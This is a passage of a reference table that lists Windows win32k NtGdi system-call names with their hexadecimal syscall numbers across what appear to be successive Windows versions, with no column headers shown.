NtGdiGetPhysicalMonitorDescription |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12fa  |  0x12fa  |  0x12fa  |     |  0x12fa  |     |  0x1326   
NtGdiGetPhysicalMonitors |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f9  |  0x12f9  |  0x12f9  |     |  0x12f9  |     |  0x1325   
NtGdiGetPixel |     |     |     |  0x108b  |     |     |  0x10bb  |     |  0x10bb  |     |  0x10bf  |  0x10bf  |  0x10bf  |     |  0x10be  |  0x10be  |  0x10c6  |  0x10c6  |  0x10c6  |     |  0x10c6  |     |  0x10c8   
NtGdiGetRandomRgn |     |     |     |  0x108c  |     |     |  0x10bc  |     |  0x10bc  |     |  0x10c0  |  0x10c0  |  0x10c0  |     |  0x10bf  |  0x10bf  |  0x10c7  |  0x10c7  |  0x10c7  |     |  0x10c7  |     |  0x10c9   
NtGdiGetRasterizerCaps |     |     |     |  0x108d  |     |     |  0x10bd  |     |  0x10bd  |     |  0x10c1  |  0x10c1  |  0x10c1  |     |  0x10c0  |  0x10c0  |  0x10c8  |  0x10c8  |  0x10c8  |     |  0x10c8  |     |  0x10ca   
NtGdiGetRealizationInfo |     |     |     |     |     |     |  0x10be  |     |  0x10be  |     |  0x10c2  |  0x10c2  |  0x10c2  |     |  0x10c1  |  0x10c1  |  0x10c9  |  0x10c9  |  0x10c9  |     |  0x10c9  |     |  0x10cb   
NtGdiGetRegionData |     |     |     |  0x108e  |     |     |  0x10bf  |     |  0x10bf  |     |  0x10c3  |  0x10c3  |  0x10c3  |     |  0x10c2  |  0x10c2  |  0x10ca  |  0x10ca  |  0x10ca  |     |  0x10ca  |     |  0x10cc   
NtGdiGetRgnBox |     |     |     |  0x108f  |     |     |  0x10c0  |     |  0x10c0  |     |  0x10c4  |  0x10c4  |  0x10c4  |     |  0x10c3  |  0x10c3  |  0x10cb  |  0x10cb  |  0x10cb  |     |  0x10cb  |     |  0x10cd   
NtGdiGetServerMetaFileBits |     |     |     |  0x1090  |     |     |  0x10c1  |     |  0x10c1  |     |  0x10c5  |  0x10c5  |  0x10c5  |     |  0x10c4  |  0x10c4  |  0x10cc  |  0x10cc  |  0x10cc  |     |  0x10cc  |     |  0x10ce   
NtGdiGetSpoolMessage |     |     |     |  0x1091  |     |     |  0x10c2  |     |  0x10c2  |     |  0x10c6  |  0x10c6  |  0x10c6  |     |  0x10c5  |  0x10c5  |  0x10cd  |  0x10cd  |  0x10cd  |     |  0x10cd  |     |      
NtGdiGetStats |     |     |     |  0x1092  |     |     |  0x10c3  |     |  0x10c3  |     |  0x10c7  |  0x10c7  |  0x10c7  |     |  0x10c6  |  0x10c6  |  0x10ce  |  0x10ce  |  0x10ce  |     |  0x10ce  |     |  0x10d0   
NtGdiGetStockObject |     |     |     |  0x1093  |     |     |  0x10c4  |     |  0x10c4  |     |  0x10c8  |  0x10c8  |  0x10c8  |     |  0x10c7  |  0x10c7  |  0x10cf  |  0x10cf  |  0x10cf  |     |  0x10cf  |     |  0x10d1   
NtGdiGetStringBitmapW |     |     |     |     |     |     |  0x10c5  |     |  0x10c5  |     |  0x10c9  |  0x10c9  |  0x10c9  |     |  0x10c8  |  0x10c8  |  0x10d0  |  0x10d0  |  0x10d0  |     |  0x10d0  |     |  0x10d2   
NtGdiGetSuggestedOPMProtectedOutputArraySize |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10d1  |  0x10d1  |  0x10d1  |     |  0x10d1  |     |  0x10d3   
NtGdiGetSystemPaletteUse |     |     |     |  0x1094  |     |     |  0x10c6  |     |  0x10c6  |     |  0x10ca  |  0x10ca  |  0x10ca  |     |  0x10c9  |  0x10c9  |  0x10d2  |  0x10d2  |  0x10d2  |     |  0x10d2  |     |  0x10d4   
NtGdiGetTextCharsetInfo |     |     |     |  0x1095  |     |     |  0x10c7  |     |  0x10c7  |     |  0x10cb  |  0x10cb  |  0x10cb  |     |  0x10ca  |  0x10ca  |  0x10d3  |  0x10d3  |  0x10d3  |     |  0x10d3  |     |  0x10d5   
NtGdiGetTextExtent |     |     |     |  0x1096  |     |     |  0x10c8  |     |  0x10c8  |     |  0x10cc  |  0x10cc  |  0x10cc  |     |  0x10cb  |  0x10cb  |  0x10d4  |  0x10d4  |  0x10d4  |     |  0x10d4  |     |  0x10d6   
NtGdiGetTextExtentExW |     |     |     |  0x1097  |     |     |  0x10c9  |     |  0x10c9  |     |  0x10cd  |  0x10cd  |  0x10cd  |     |  0x10cc  |  0x10cc  |  0x10d5  |  0x10d5  |  0x10d5  |     |  0x10d5  |     |  0x10d7   
NtGdiGetTextFaceW |     |     |     |  0x1098  |     |     |  0x10ca  |     |  0x10ca  |     |  0x10ce  |  0x10ce  |  0x10ce  |     |  0x10cd  |  0x10cd  |  0x10d6  |  0x10d6  |  0x10d6  |     |  0x10d6  |     |  0x10d8   
NtGdiGetTextMetricsW |     |     |     |  0x1099  |     |     |  0x10cb  |     |  0x10cb  |     |  0x10cf  |  0x10cf  |  0x10cf  |     |  0x10ce  |  0x10ce  |  0x10d7  |  0x10d7  |  0x10d7  |     |  0x10d7  |     |  0x10d9   
NtGdiGetTransform |     |     |     |  0x109a  |     |     |  0x10cc  |     |  0x10cc  |     |  0x10d0  |  0x10d0  |  0x10d0  |     |  0x10cf  |  0x10cf  |  0x10d8  |  0x10d8  |  0x10d8  |     |  0x10d8  |     |  0x10da   
NtGdiGetUFI |     |     |     |  0x109b  |     |     |  0x10cd  |     |  0x10cd  |     |  0x10d1  |  0x10d1  |  0x10d1  |     |  0x10d0  |  0x10d0  |  0x10d9  |  0x10d9  |  0x10d9  |     |  0x10d9  |     |  0x10db   
NtGdiGetUFIBits |     |     |     |  0x109c  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiGetUFIPathname |     |     |     |     |     |     |  0x10ce  |     |  0x10ce  |     |  0x10d3  |  0x10d3  |  0x10d3  |     |  0x10d2  |  0x10d2  |  0x10db  |  0x10db  |  0x10db  |     |  0x10db  |     |  0x10dd   
NtGdiGetWidthTable |     |     |     |  0x109d  |     |     |  0x10d0  |     |  0x10d0  |     |  0x10d8  |  0x10d8  |  0x10d8  |     |  0x10d7  |  0x10d7  |  0x10e0  |  0x10e0  |  0x10e0  |     |  0x10e0  |     |  0x10e2   
NtGdiGradientFill |     |     |     |     |     |     |  0x10d1  |     |  0x10d1  |     |  0x10d9  |  0x10d9  |  0x10d9  |     |  0x10d8  |  0x10d8  |  0x10e1  |  0x10e1  |  0x10e1  |     |  0x10e1  |     |  0x10e3   
NtGdiHLSurfGetInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12dd   
NtGdiHLSurfSetInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12de   
NtGdiHT\_Get8BPPFormatPalette |     |     |     |     |     |     |  0x127c  |     |  0x127c  |     |  0x1294  |  0x1294  |  0x1294  |     |  0x1290  |  0x1290  |  0x12b5  |  0x12b5  |  0x12b5  |     |  0x12b5  |     |  0x12d5   
NtGdiHT\_Get8BPPMaskPalette |     |     |     |     |     |     |  0x127d  |     |  0x127d  |     |  0x1295  |  0x1295  |  0x1295  |     |  0x1291  |  0x1291  |  0x12b6  |  0x12b6  |  0x12b6  |     |  0x12b6  |     |  0x12d6   
NtGdiHfontCreate |     |     |     |  0x109e  |     |     |  0x10d2  |     |  0x10d2  |     |  0x10da  |  0x10da  |  0x10da  |     |  0x10d9  |  0x10d9  |  0x10e2  |  0x10e2  |  0x10e2  |     |  0x10e2  |     |  0x10e4   
NtGdiIcmBrushInfo |     |     |     |     |     |     |  0x10d3  |     |  0x10d3  |     |  0x10db  |  0x10db  |  0x10db  |     |  0x10da  |  0x10da  |  0x10e3  |  0x10e3  |  0x10e3  |     |  0x10e3  |     |  0x10e5   
NtGdiInit |     |     |     |  0x109f  |     |     |  0x10d4  |     |  0x10d4  |     |  0x10dc  |  0x10dc  |  0x10dc  |     |  0x10db  |  0x10db  |     |     |     |     |     |     |      
NtGdiInitSpool |     |     |     |  0x10a0  |     |     |  0x10d5  |     |  0x10d5  |     |  0x10dd  |  0x10dd  |  0x10dd  |     |  0x10dc  |  0x10dc  |  0x10e5  |  0x10e5  |  0x10e5  |     |  0x10e5  |     |  0x10e7   
NtGdiIntersectClipRect |     |     |     |  0x10a1  |     |     |  0x10d6  |     |  0x10d6  |     |  0x10de  |  0x10de  |  0x10de  |     |  0x10dd  |  0x10dd  |  0x10e6  |  0x10e6  |  0x10e6  |     |  0x10e6  |     |  0x10e8   
NtGdiInvertRgn |     |     |     |  0x10a2  |     |     |  0x10d7  |     |  0x10d7  |     |  0x10df  |  0x10df  |  0x10df  |     |  0x10de  |  0x10de  |  0x10e7  |  0x10e7  |  0x10e7  |     |  0x10e7  |     |  0x10e9   
NtGdiLineTo |     |     |     |  0x10a3  |     |     |  0x10d8  |     |  0x10d8  |     |  0x10e0  |  0x10e0  |  0x10e0  |     |  0x10df  |  0x10df  |  0x10e8  |  0x10e8  |  0x10e8  |     |  0x10e8  |     |  0x10ea   
NtGdiMakeFontDir |     |     |     |  0x10a4  |     |     |  0x10d9  |     |  0x10d9  |     |  0x10e1  |  0x10e1  |  0x10e1  |     |  0x10e0  |  0x10e0  |  0x10e9  |  0x10e9  |  0x10e9  |     |  0x10e9  |     |  0x10eb   
NtGdiMakeInfoDC |     |     |     |  0x10a5  |     |     |  0x10da  |     |  0x10da  |     |  0x10e2  |  0x10e2  |  0x10e2  |     |  0x10e1  |  0x10e1  |  0x10ea  |  0x10ea  |  0x10ea  |     |  0x10ea  |     |  0x10ec   
NtGdiMakeObjectXferable |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1297  |  0x1297  |     |     |     |     |     |     |      
NtGdiMaskBlt |     |     |     |  0x10a6  |     |     |  0x10db  |     |  0x10db  |     |  0x10e3  |  0x10e3  |  0x10e3  |     |  0x10e2  |  0x10e2  |  0x10eb  |  0x10eb  |  0x10eb  |     |  0x10eb  |     |  0x10ed   
NtGdiMirrorWindowOrg |     |     |     |     |     |     |  0x110e  |     |  0x110e  |     |  0x1118  |  0x1118  |  0x1118  |     |  0x1117  |  0x1117  |  0x1120  |  0x1120  |  0x1120  |     |  0x1120  |     |  0x1122   
NtGdiModifyWorldTransform |     |     |     |  0x10a7  |     |     |  0x10dc  |     |  0x10dc  |     |  0x10e4  |  0x10e4  |  0x10e4  |     |  0x10e3  |  0x10e3  |  0x10ec  |  0x10ec  |  0x10ec  |     |  0x10ec  |     |  0x10ee   
NtGdiMonoBitmap |     |     |     |  0x10a8  |     |     |  0x10dd  |     |  0x10dd  |     |  0x10e5  |  0x10e5  |  0x10e5  |     |  0x10e4  |  0x10e4  |  0x10ed  |  0x10ed  |  0x10ed  |     |  0x10ed  |     |  0x10ef   
NtGdiMoveTo |     |     |     |  0x10a9  |     |     |  0x10de  |     |  0x10de  |     |  0x10e6  |  0x10e6  |  0x10e6  |     |  0x10e5  |  0x10e5  |  0x10ee  |  0x10ee  |  0x10ee  |     |  0x10ee  |     |  0x10f0   
NtGdiOffsetClipRgn |     |     |     |  0x10aa  |     |     |  0x10df  |     |  0x10df  |     |  0x10e7  |  0x10e7  |  0x10e7  |     |  0x10e6  |  0x10e6  |  0x10ef  |  0x10ef  |  0x10ef  |     |  0x10ef  |     |  0x10f1   
NtGdiOffsetRgn |     |     |     |  0x10ab  |     |     |  0x10e0  |     |  0x10e0  |     |  0x10e8  |  0x10e8  |  0x10e8  |     |  0x10e7  |  0x10e7  |  0x10f0  |  0x10f0  |  0x10f0  |     |  0x10f0  |     |  0x10f2   
NtGdiOpenDCW |     |     |     |  0x10ac  |     |     |  0x10e1  |     |  0x10e1  |     |  0x10e9  |  0x10e9  |  0x10e9  |     |  0x10e8  |  0x10e8  |  0x10f1  |  0x10f1  |  0x10f1  |     |  0x10f1  |     |  0x10f3   
NtGdiPATHOBJ\_bEnum |     |     |     |     |     |     |  0x1276  |     |  0x1276  |     |  0x128e  |  0x128e  |  0x128e  |     |  0x128a  |  0x128a  |  0x12af  |  0x12af  |  0x12af  |     |  0x12af  |     |  0x12cf   
NtGdiPATHOBJ\_bEnumClipLines |     |     |     |     |     |     |  0x1279  |     |  0x1279  |     |  0x1291  |  0x1291  |  0x1291  |     |  0x128d  |  0x128d  |  0x12b2  |  0x12b2  |  0x12b2  |     |  0x12b2  |     |  0x12d2   
NtGdiPATHOBJ\_vEnumStart |     |     |     |     |     |     |  0x1277  |     |  0x1277  |     |  0x128f  |  0x128f  |  0x128f  |     |  0x128b  |  0x128b  |  0x12b0  |  0x12b0  |  0x12b0  |     |  0x12b0  |     |  0x12d0   
NtGdiPATHOBJ\_vEnumStartClipLines |     |     |     |     |     |     |  0x1278  |     |  0x1278  |     |  0x1290  |  0x1290  |  0x1290  |     |  0x128c  |  0x128c  |  0x12b1  |  0x12b1  |  0x12b1  |     |  0x12b1  |     |  0x12d1   
NtGdiPATHOBJ\_vGetBounds |     |     |     |     |     |     |  0x1275  |     |  0x1275  |     |  0x128d  |  0x128d  |  0x128d  |     |  0x1289  |  0x1289  |  0x12ae  |  0x12ae  |  0x12ae  |     |  0x12ae  |     |  0x12ce   
NtGdiPatBlt |     |     |     |  0x10ad  |     |     |  0x10e2  |     |  0x10e2  |     |  0x10ea  |  0x10ea  |  0x10ea  |     |  0x10e9  |  0x10e9  |  0x10f2  |  0x10f2  |  0x10f2  |     |  0x10f2  |     |  0x10f4   
NtGdiPathToRegion |     |     |     |  0x10b0  |     |     |  0x10e4  |     |  0x10e4  |     |  0x10ec  |  0x10ec  |  0x10ec  |     |  0x10eb  |  0x10eb  |  0x10f4  |  0x10f4  |  0x10f4  |     |  0x10f4  |     |  0x10f6   
NtGdiPerf |     |     |     |  0x10ae  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiPlgBlt |     |     |     |  0x10b1  |     |     |  0x10e5  |     |  0x10e5  |     |  0x10ed  |  0x10ed  |  0x10ed  |     |  0x10ec  |  0x10ec  |  0x10f5  |  0x10f5  |  0x10f5  |     |  0x10f5  |     |  0x10f7   
NtGdiPolyDraw |     |     |     |  0x10b2  |     |     |  0x10e6  |     |  0x10e6  |     |  0x10ee  |  0x10ee  |  0x10ee  |     |  0x10ed  |  0x10ed  |  0x10f6  |  0x10f6  |  0x10f6  |     |  0x10f6  |     |  0x10f8   
NtGdiPolyPatBlt |     |     |     |  0x10af  |     |     |  0x10e3  |     |  0x10e3  |     |  0x10eb  |  0x10eb  |  0x10eb  |     |  0x10ea  |  0x10ea  |  0x10f3  |  0x10f3  |  0x10f3  |     |  0x10f3  |     |  0x10f5   
NtGdiPolyPolyDraw |     |     |     |  0x10b3  |     |     |  0x10e7  |     |  0x10e7  |     |  0x10ef  |  0x10ef  |  0x10ef  |     |  0x10ee  |  0x10ee  |  0x10f7  |  0x10f7  |  0x10f7  |     |  0x10f7  |     |  0x10f9   
NtGdiPolyTextOutW |     |     |     |  0x10b4  |     |     |  0x10e8  |     |  0x10e8  |     |  0x10f0  |  0x10f0  |  0x10f0  |     |  0x10ef  |  0x10ef  |  0x10f8  |  0x10f8  |  0x10f8  |     |  0x10f8  |     |  0x10fa   
NtGdiPtInRegion |     |     |     |  0x10b5  |     |     |  0x10e9  |     |  0x10e9  |     |  0x10f1  |  0x10f1  |  0x10f1  |     |  0x10f0  |  0x10f0  |  0x10f9  |  0x10f9  |  0x10f9  |     |  0x10f9  |     |  0x10fb   
NtGdiPtVisible |     |     |     |  0x10b6  |     |     |  0x10ea  |     |  0x10ea  |     |  0x10f2  |  0x10f2  |  0x10f2  |     |  0x10f1  |  0x10f1  |  0x10fa  |  0x10fa  |  0x10fa  |     |  0x10fa  |     |  0x10fc   
NtGdiQueryFontAssocInfo |     |     |     |     |     |     |  0x10ec  |     |  0x10ec  |     |  0x10f4  |  0x10f4  |  0x10f4  |     |  0x10f3  |  0x10f3  |  0x10fc  |  0x10fc  |  0x10fc  |     |  0x10fc  |     |  0x10fe   
NtGdiQueryFonts |     |     |     |  0x10b7  |     |     |  0x10eb  |     |  0x10eb  |     |  0x10f3  |  0x10f3  |  0x10f3  |     |  0x10f2  |  0x10f2  |  0x10fb  |  0x10fb  |  0x10fb  |     |  0x10fb  |     |  0x10fd   
NtGdiRectInRegion |     |     |     |  0x10b9  |     |     |  0x10ee  |     |  0x10ee  |     |  0x10f6  |  0x10f6  |  0x10f6  |     |  0x10f5  |  0x10f5  |  0x10fe  |  0x10fe  |  0x10fe  |     |  0x10fe  |     |  0x1100   
NtGdiRectVisible |     |     |     |  0x10ba  |     |     |  0x10ef  |     |  0x10ef  |     |  0x10f7  |  0x10f7  |  0x10f7  |     |  0x10f6  |  0x10f6  |  0x10ff  |  0x10ff  |  0x10ff  |     |  0x10ff  |     |  0x1101   
NtGdiRectangle |     |     |     |  0x10b8  |     |     |  0x10ed  |     |  0x10ed  |     |  0x10f5  |  0x10f5  |  0x10f5  |     |  0x10f4  |  0x10f4  |  0x10fd  |  0x10fd  |  0x10fd  |     |  0x10fd  |     |  0x10ff   
NtGdiRemoveFontMemResourceEx |     |     |     |     |     |     |  0x10f1  |     |  0x10f1  |     |  0x10f9  |  0x10f9  |  0x10f9  |     |  0x10f8  |  0x10f8  |  0x1101  |  0x1101  |  0x1101  |     |  0x1101  |     |  0x1103   
NtGdiRemoveFontResourceW |     |     |     |  0x10bb  |     |     |  0x10f0  |     |  0x10f0  |     |  0x10f8  |  0x10f8  |  0x10f8  |     |  0x10f7  |  0x10f7  |  0x1100  |  0x1100  |  0x1100  |     |  0x1100  |     |  0x1102   
NtGdiRemoveMergeFont |     |     |     |     |     |     |  0x1005  |     |  0x1005  |     |  0x1005  |  0x1005  |  0x1005  |     |  0x1005  |  0x1005  |  0x1005  |  0x1005  |  0x1005  |     |  0x1005  |     |  0x1005   
NtGdiResetDC |     |     |     |  0x10bc  |     |     |  0x10f2  |     |  0x10f2  |     |  0x10fa  |  0x10fa  |  0x10fa  |     |  0x10f9  |  0x10f9  |  0x1102  |  0x1102  |  0x1102  |     |  0x1102  |     |  0x1104   
NtGdiResizePalette |     |     |     |  0x10bd  |     |     |  0x10f3  |     |  0x10f3  |     |  0x10fb  |  0x10fb  |  0x10fb  |     |  0x10fa  |  0x10fa  |  0x1103  |  0x1103  |  0x1103  |     |  0x1103  |     |  0x1105   
NtGdiRestoreDC |     |     |     |  0x10be  |     |     |  0x10f4  |     |  0x10f4  |     |  0x10fc  |  0x10fc  |  0x10fc  |     |  0x10fb  |  0x10fb  |  0x1104  |  0x1104  |  0x1104  |     |  0x1104  |     |  0x1106   
NtGdiRoundRect |     |     |     |  0x10bf  |     |     |  0x10f5  |     |  0x10f5  |     |  0x10fd  |  0x10fd  |  0x10fd  |     |  0x10fc  |  0x10fc  |  0x1105  |  0x1105  |  0x1105  |     |  0x1105  |     |  0x1107   
NtGdiSTROBJ\_bEnum |     |     |     |     |     |     |  0x1270  |     |  0x1270  |     |  0x1288  |  0x1288  |  0x1288  |     |  0x1284  |  0x1284  |  0x12a9  |  0x12a9  |  0x12a9  |     |  0x12a9  |     |  0x12c9   
NtGdiSTROBJ\_bEnumPositionsOnly |     |     |     |     |     |     |  0x1271  |     |  0x1271  |     |  0x1289  |  0x1289  |  0x1289  |     |  0x1285  |  0x1285  |  0x12aa  |  0x12aa  |  0x12aa  |     |  0x12aa  |     |  0x12ca   
NtGdiSTROBJ\_bGetAdvanceWidths |     |     |     |     |     |     |  0x1272  |     |  0x1272  |     |  0x128a  |  0x128a  |  0x128a  |     |  0x1286  |  0x1286  |  0x12ab  |  0x12ab  |  0x12ab  |     |  0x12ab  |     |  0x12cb   
NtGdiSTROBJ\_dwGetCodePage |     |     |     |     |     |     |  0x1274  |     |  0x1274  |     |  0x128c  |  0x128c  |  0x128c  |     |  0x1288  |  0x1288  |  0x12ad  |  0x12ad  |  0x12ad  |     |  0x12ad  |     |  0x12cd   
NtGdiSTROBJ\_vEnumStart |     |     |     |     |     |     |  0x1273  |     |  0x1273  |     |  0x128b  |  0x128b  |  0x128b  |     |  0x1287  |  0x1287  |  0x12ac  |  0x12ac  |  0x12ac  |     |  0x12ac  |     |  0x12cc   
NtGdiSaveDC |     |     |     |  0x10c0  |     |     |  0x10f6  |     |  0x10f6  |     |  0x10fe  |  0x10fe  |  0x10fe  |     |  0x10fd  |  0x10fd  |  0x1106  |  0x1106  |  0x1106  |     |  0x1106  |     |  0x1108   
NtGdiScaleViewportExtEx |     |     |     |  0x10c1  |     |     |  0x10f7  |     |  0x10f7  |     |  0x10ff  |  0x10ff  |  0x10ff  |     |  0x10fe  |  0x10fe  |  0x1107  |  0x1107  |  0x1107  |     |  0x1107  |     |  0x1109   
NtGdiScaleWindowExtEx |     |     |     |  0x10c2  |     |     |  0x10f8  |     |  0x10f8  |     |  0x1100  |  0x1100  |  0x1100  |     |  0x10ff  |  0x10ff  |  0x1108  |  0x1108  |  0x1108  |     |  0x1108  |     |  0x110a   
NtGdiSelectBitmap |     |     |     |  0x10c3  |     |     |  0x10f9  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiSelectBrush |     |     |     |  0x10c4  |     |     |  0x10fa  |     |  0x10fa  |     |  0x1102  |  0x1102  |  0x1102  |     |  0x1101  |  0x1101  |  0x110a  |  0x110a  |  0x110a  |     |  0x110a  |     |  0x110c   
NtGdiSelectClipPath |     |     |     |  0x10c5  |     |     |  0x10fb  |     |  0x10fb  |     |  0x1103  |  0x1103  |  0x1103  |     |  0x1102  |  0x1102  |  0x110b  |  0x110b  |  0x110b  |     |  0x110b  |     |  0x110d   
NtGdiSelectFont |     |     |     |  0x10c6  |     |     |  0x10fc  |     |  0x10fc  |     |  0x1104  |  0x1104  |  0x1104  |     |  0x1103  |  0x1103  |  0x110c  |  0x110c  |  0x110c  |     |  0x110c  |     |  0x110e   
NtGdiSelectPalette |     |     |     |  0x10c7  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiSelectPen |     |     |     |  0x10c8  |     |     |  0x10fd  |     |  0x10fd  |     |  0x1105  |  0x1105  |  0x1105  |     |  0x1104  |  0x1104  |  0x110d  |  0x110d  |  0x110d  |     |  0x110d  |     |  0x110f   
NtGdiSetBitmapAttributes |     |     |     |     |     |     |     |     |     |     |  0x1106  |  0x1106  |  0x1106  |     |  0x1105  |  0x1105  |  0x110e  |  0x110e  |  0x110e  |     |  0x110e  |     |  0x1110   
NtGdiSetBitmapBits |     |     |     |  0x10c9  |     |     |  0x10fe  |     |  0x10fe  |     |  0x1107  |  0x1107  |  0x1107  |     |  0x1106  |  0x1106  |  0x110f  |  0x110f  |  0x110f  |     |  0x110f  |     |  0x1111   
NtGdiSetBitmapDimension |     |     |     |  0x10ca  |     |     |  0x10ff  |     |  0x10ff  |     |  0x1108  |  0x1108  |  0x1108  |     |  0x1107  |  0x1107  |  0x1110  |  0x1110  |  0x1110  |     |  0x1110  |     |  0x1112   
NtGdiSetBoundsRect |     |     |     |  0x10cb  |     |     |  0x1100  |     |  0x1100  |     |  0x1109  |  0x1109  |  0x1109  |     |  0x1108  |  0x1108  |  0x1111  |  0x1111  |  0x1111  |     |  0x1111  |     |  0x1113   
NtGdiSetBrushAttributes |     |     |     |     |     |     |     |     |     |     |  0x110a  |  0x110a  |  0x110a  |     |  0x1109  |  0x1109  |  0x1112  |  0x1112  |  0x1112  |     |  0x1112  |     |  0x1114   
NtGdiSetBrushOrg |     |     |     |  0x10cc  |     |     |  0x1101  |     |  0x1101  |     |  0x110b  |  0x110b  |  0x110b  |     |  0x110a  |  0x110a  |  0x1113  |  0x1113  |  0x1113  |     |  0x1113  |     |  0x1115   
NtGdiSetColorAdjustment |     |     |     |  0x10cd  |     |     |  0x1102  |     |  0x1102  |     |  0x110c  |  0x110c  |  0x110c  |     |  0x110b  |  0x110b  |  0x1114  |  0x1114  |  0x1114  |     |  0x1114  |     |  0x1116   
NtGdiSetColorSpace |     |     |     |     |     |     |  0x1103  |     |  0x1103  |     |  0x110d  |  0x110d  |  0x110d  |     |  0x110c  |  0x110c  |  0x1115  |  0x1115  |  0x1115  |     |  0x1115  |     |  0x1117   
NtGdiSetDIBitsToDeviceInternal |     |     |     |  0x10ce  |     |     |  0x1105  |     |  0x1105  |     |  0x110f  |  0x110f  |  0x110f  |     |  0x110e  |  0x110e  |  0x1117  |  0x1117  |  0x1117  |     |  0x1117  |     |  0x1119   
NtGdiSetDeviceGammaRamp |     |     |     |     |     |     |  0x1104  |     |  0x1104  |     |  0x110e  |  0x110e  |  0x110e  |     |  0x110d  |  0x110d  |  0x1116  |  0x1116  |  0x1116  |     |  0x1116  |     |  0x1118   
NtGdiSetFontEnumeration |     |     |     |  0x10cf  |     |     |  0x1106  |     |  0x1106  |     |  0x1110  |  0x1110  |  0x1110  |     |  0x110f  |  0x110f  |  0x1118  |  0x1118  |  0x1118  |     |  0x1118  |     |  0x111a   
NtGdiSetFontXform |     |     |     |  0x10d0  |     |     |  0x1107  |     |  0x1107  |     |  0x1111  |  0x1111  |  0x1111  |     |  0x1110  |  0x1110  |  0x1119  |  0x1119  |  0x1119  |     |  0x1119  |     |  0x111b   
NtGdiSetIcmMode |     |     |     |     |     |     |  0x1108  |     |  0x1108  |     |  0x1112  |  0x1112  |  0x1112  |     |  0x1111  |  0x1111  |  0x111a  |  0x111a  |  0x111a  |     |  0x111a  |     |  0x111c   
NtGdiSetLayout |     |     |     |     |     |     |  0x110f  |     |  0x110f  |     |  0x1119  |  0x1119  |  0x1119  |     |  0x1118  |  0x1118  |  0x1121  |  0x1121  |  0x1121  |     |  0x1121  |     |  0x1123   
NtGdiSetLinkedUFIs |     |     |     |     |     |     |  0x1109  |     |  0x1109  |     |  0x1113  |  0x1113  |  0x1113  |     |  0x1112  |  0x1112  |  0x111b  |  0x111b  |  0x111b  |     |  0x111b  |     |  0x111d   
NtGdiSetMagicColors |     |     |     |  0x10d1  |     |     |  0x110a  |     |  0x110a  |     |  0x1114  |  0x1114  |  0x1114  |     |  0x1113  |  0x1113  |  0x111c  |  0x111c  |  0x111c  |     |  0x111c  |     |  0x111e   
NtGdiSetMetaRgn |     |     |     |  0x10d2  |     |     |  0x110b  |     |  0x110b  |     |  0x1115  |  0x1115  |  0x1115  |     |  0x1114  |  0x1114  |  0x111d  |  0x111d  |  0x111d  |     |  0x111d  |     |  0x111f   
NtGdiSetMiterLimit |     |     |     |  0x10d3  |     |     |  0x110c  |     |  0x110c  |     |  0x1116  |  0x1116  |  0x1116  |     |  0x1115  |  0x1115  |  0x111e  |  0x111e  |  0x111e  |     |  0x111e  |     |  0x1120   
NtGdiSetOPMSigningKeyAndSequenceNumbers |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1122  |  0x1122  |  0x1122  |     |  0x1122  |     |  0x1124   
NtGdiSetPUMPDOBJ |     |     |     |     |     |     |     |     |     |     |  0x1297  |  0x1297  |  0x1297  |     |  0x1293  |  0x1293  |  0x12b8  |  0x12b8  |  0x12b8  |     |  0x12b8  |     |  0x12d8   
NtGdiSetPixel |     |     |     |  0x10d4  |     |     |  0x1110  |     |  0x1110  |     |  0x111a  |  0x111a  |  0x111a  |     |  0x1119  |  0x1119  |  0x1123  |  0x1123  |  0x1123  |     |  0x1123  |     |  0x1125   
NtGdiSetPixelFormat |     |     |     |  0x10d5  |     |     |  0x1111  |     |  0x1111  |     |  0x111b  |  0x111b  |  0x111b  |     |  0x111a  |  0x111a  |  0x1124  |  0x1124  |  0x1124  |     |  0x1124  |     |  0x1126   
NtGdiSetRectRgn |     |     |     |  0x10d6  |     |     |  0x1112  |     |  0x1112  |     |  0x111c  |  0x111c  |  0x111c  |     |  0x111b  |  0x111b  |  0x1125  |  0x1125  |  0x1125  |     |  0x1125  |     |  0x1127   
NtGdiSetSizeDevice |     |     |     |     |     |     |  0x1117  |     |  0x1117  |     |  0x1121  |  0x1121  |  0x1121  |     |  0x1120  |  0x1120  |  0x112a  |  0x112a  |  0x112a  |     |  0x112a  |     |  0x112b   
NtGdiSetSystemPaletteUse |     |     |     |  0x10d7  |     |     |  0x1113  |     |  0x1113  |     |  0x111d  |  0x111d  |  0x111d  |     |  0x111c  |  0x111c  |  0x1126  |  0x1126  |  0x1126  |     |  0x1126  |     |  0x1128   
NtGdiSetTextCharacterExtra |     |     |     |  0x10d8  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiSetTextJustification |     |     |     |  0x10d9  |     |     |  0x1114  |     |  0x1114  |     |  0x111e  |  0x111e  |  0x111e  |     |  0x111d  |  0x111d  |  0x1127  |  0x1127  |  0x1127  |     |  0x1127  |     |  0x1129   
NtGdiSetVirtualResolution |     |     |     |  0x10db  |     |     |  0x1116  |     |  0x1116  |     |  0x1120  |  0x1120  |  0x1120  |     |  0x111f  |  0x111f  |  0x1129  |  0x1129  |  0x1129  |     |  0x1129  |     |  0x112a   
NtGdiSetupPublicCFONT |     |     |     |  0x10da  |     |     |  0x1115  |     |  0x1115  |     |  0x111f  |  0x111f  |  0x111f  |     |  0x111e  |  0x111e  |  0x1128  |  0x1128  |  0x1128  |     |  0x1128  |     |      
NtGdiSfmGetNotificationTokens |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12dc   
NtGdiStartDoc |     |     |     |  0x10dc  |     |     |  0x1118  |     |  0x1118  |     |  0x1122  |  0x1122  |  0x1122  |     |  0x1121  |  0x1121  |  0x112b  |  0x112b  |  0x112b  |     |  0x112b  |     |  0x112c   
